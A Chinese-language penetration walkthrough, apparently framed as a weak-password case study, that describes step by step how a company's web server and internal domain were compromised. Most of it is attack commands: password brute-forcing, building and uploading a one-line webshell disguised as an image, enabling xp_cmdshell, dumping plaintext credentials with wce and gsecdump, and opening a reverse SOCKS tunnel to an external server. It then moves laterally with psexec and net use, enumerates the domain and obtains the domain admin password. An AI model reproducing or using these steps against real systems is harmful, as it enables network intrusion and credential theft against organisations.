密码系列安全4_公司网站被入侵--弱口令账号惹的祸

一些公司公司其内部网络跟web服务器直接相连,虽然在出口做了安全限制,仅仅允许80端口对外进行连接,但如果提供web服务的站点存在安全隐患,通过渗透,获取webshell,通过webshell提权,通过代理程序直接穿透内网,进而控制整个域控和内网服务器,在本例中,通过暴力破解,成功获取其后台管理员弱口令,通过弱口令获取webshell,进而控制整个内网域控。

4.1.1获取webshell

1.暴力破解后台口令

通过burpsuite对该网站进行暴力破解,字典选用top10000,暴力破解成功,获取账号:lib密码:,使用该账号及密码登录后台系统,如图1所示。

图1 登录后台

2.端口信息扫描

使用masscan –p 1-65534 218.*.**.**2进行全端口扫描,扫描结果如图2所示,对其中的端口逐个进行测试,未发现对外开启远程终端服务。

Discovered open port 9080/tcp on 218.*.**.**2 web服务

Discovered open port 443/tcp on 218.*.**.**2 无法访问

Discovered open port 8020/tcp on 218.*.**.**2 web服务

Discovered open port 85/tcp on 218.*.**.**2 web服务

Discovered open port 1000/tcp on 218.*.**.**2 无法访问

Discovered open port 80/tcp on 218.*.**.**2 tomcat

Discovered open port 51111/tcp on 218.*.**.**2 无法访问

Discovered open port 8877/tcp on 218.*.**.**2 对外提供web服务

图2端口扫描

3.后台上传获取webshell

(1)制作一句话图片木马文件

使用copy /b cmd.jpg+cmd.aspx cmd.aspx;.jpg命令合成一句话后门图片木马,如图3所示,事先准备好一张图片文件cmd.jgp,和一句话后门木马文件cmd.aspx

图3制作一句话图片木马文件

(2)后台上传一句话图片木马文件

如图4所示在后台管理中,通过封面图片直接上传一句话图片木马文件。

图4上传图片木马文件

(3)获取webshell

通过中国菜刀连接一句话后门,并上传大马进行管理。

4.1.2获取服务器权限

1.获取mssql口令sa

通过webshell对其配置文件web.config文件进行查看,获取其数据库账号sa的密码为sa,通过webshell的数据库管理进行连接查看,如图5所示,数据库为MSSQL 2008,当前用户为系统权限。

图5获取系统权限

2.获取服务器密码

通过systeminfo命令获取当前服务器是X86架构,上传wce32位程序,执行“wce –w”命令成功获取当前服务器所有登录明文密码,如图6所示。

图6获取服务器密码

4.1.3配置及设置代理

1.设置独立外网IP代理

将ew_for_Win复制到一个具备独立外网IP的服务器上,执行命令:

ew_for_Win.exe -s rcsocks -l 1080 -e 8888

该命令在该独立服务器上建立socks5代理,代理端口为1080,连接端口为8888,如图7所示。

图7建立socks5代理

2.执行ew代理

在目标服务器上通过webshell,在Database中直接连接服务器,然后选择XP_cmdshell exec模块,如图8所示,执行命令“Exec master.dbo.xp_cmdshell ew -s rssocks -d 139.***.***.** -e 8888”,连接前面建立的sock5服务器,其中139.***.***.**为独立IP外网服务器,8888端口为sock5代理端口。

图8连接socks5代理服务器

3.设置并测试Proxifier

在Proxifier中设置代理服务器地址139.***.***.**,端口为1080,类型为sock5,然后运行代理检查器,检查代理是否连通,如图8所示,代理测试正常,可以使用。

4.1.4进入内网并扩展渗透

1.登录3389

使用mstsc直接登录192.168.100.133服务器,如图10所示,登录成功后,可以看到其整个网络中有group和Llqdomain。

图9登录内网服务器

2.扫描mssql口令

使用sqlping工具,设置用户为sa,密码文件为前面获取的密码,以及从源代码获取的数据库连接密码,设置扫描IP地址范围为192.100.100.1-192.100.100.254,如图10所示,对其进行扫描,结果获取192.100.100.26、192.100.100.33、192.100.100.35、192.100.100.133、192.100.100.148五台SQLServer sa账号密码。

192.100.100.26 sa *********

192.100.100.35 sa *********

192.100.100.33 sa *********

192.100.100.133 sa sa

192.100.100.148 sa *********

图10扫描内网MSSQL口令

3.对mssql数据库服务器进行提权和获取密码

对前面获取的MSSQL数据库服务器逐个进行连接并提权,如果其中xp_cmdshell存储过程不存在或者没有开启,可以在SQL命令中执行以下语句:

EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;

如图11所示,通过SQLTOOL可以很方便的执行添加用户及用户到管理员组中,通过3389登录该服务器,使用wce等工具来获取提权服务器的密码,在此就不赘述。

图11MSSQL提权

4.对内网服务器进行口令扫描

对前面获取的密码进行简单的组合,然后添加在ntscan的NT_pass.dic文件中,设置扫描的开始IP和结束IP,如图12所示,进行扫描,结果显示获取7台服务器管理账号及口令,很多内网服务器设置相同口令。

图12进行口令扫描

5.获取域控服务器信息

(1)获取域控IP地址

通过ipconfig /all命令获取当前服务器所在IP的配置情况,如图13所示,其中DNS地址为192.100.100.6,该地址即为域控服务器。在网络配置中,该web服务器没有使用域控命名规则,但该服务器未在域控中。

图13获取域控服务器IP信息

(2)渗透获取口令的服务器

依次使用下面命令,来获取命令终端

net use \\192.100.100.15\admin$ "*********" /u:administrator

copy wce.exe \\192.100.100.15\c$\wce.exe

psexec \\192.100.100.15 cmd

通过对比其“net Localgroup dministrators”命令可以看出web服务器不在域控内,而192.100.100.15在域控内,如图14所示。

图14域控中的服务器

4.1.5域控服务器渗透

1.渗透域控相关命令

查询本机用户列表:net user

查询本机管理员[通常含有域用户]:net localgoup administrators

查询域管理员用户:net group "domain admins" /domain

查询域用户:net user /domain

查询域里面的工作组:net group /domain

查询域名称:net view /domain

查询域内计算机:net view /domain:XX

查询域控制器:net time /domain

查询域管理员用户组:net localgroup administrators /domain

域用户添加到本机 net localgroup administrators workgroup\user001 /add

查看域控制器(如果有多台):net group "Domain controllers"

查询本机IP段,所在域等:ipconfig /all

查询同一域内机器列表:net view

查询所有域控制器:dsquery server

2.域控内服务器密码获取

在192.100.100.15上通过gsecdump –a 及wce –w命令获取该服务器上的明文及哈希密码值,如图15所示。

图15域控内服务器密码获取

3.继续登录获取口令服务器

在192.100.100.148服务器上使用wce –w成功获取域控管理员密码,如图16所示。

图16获取域控密码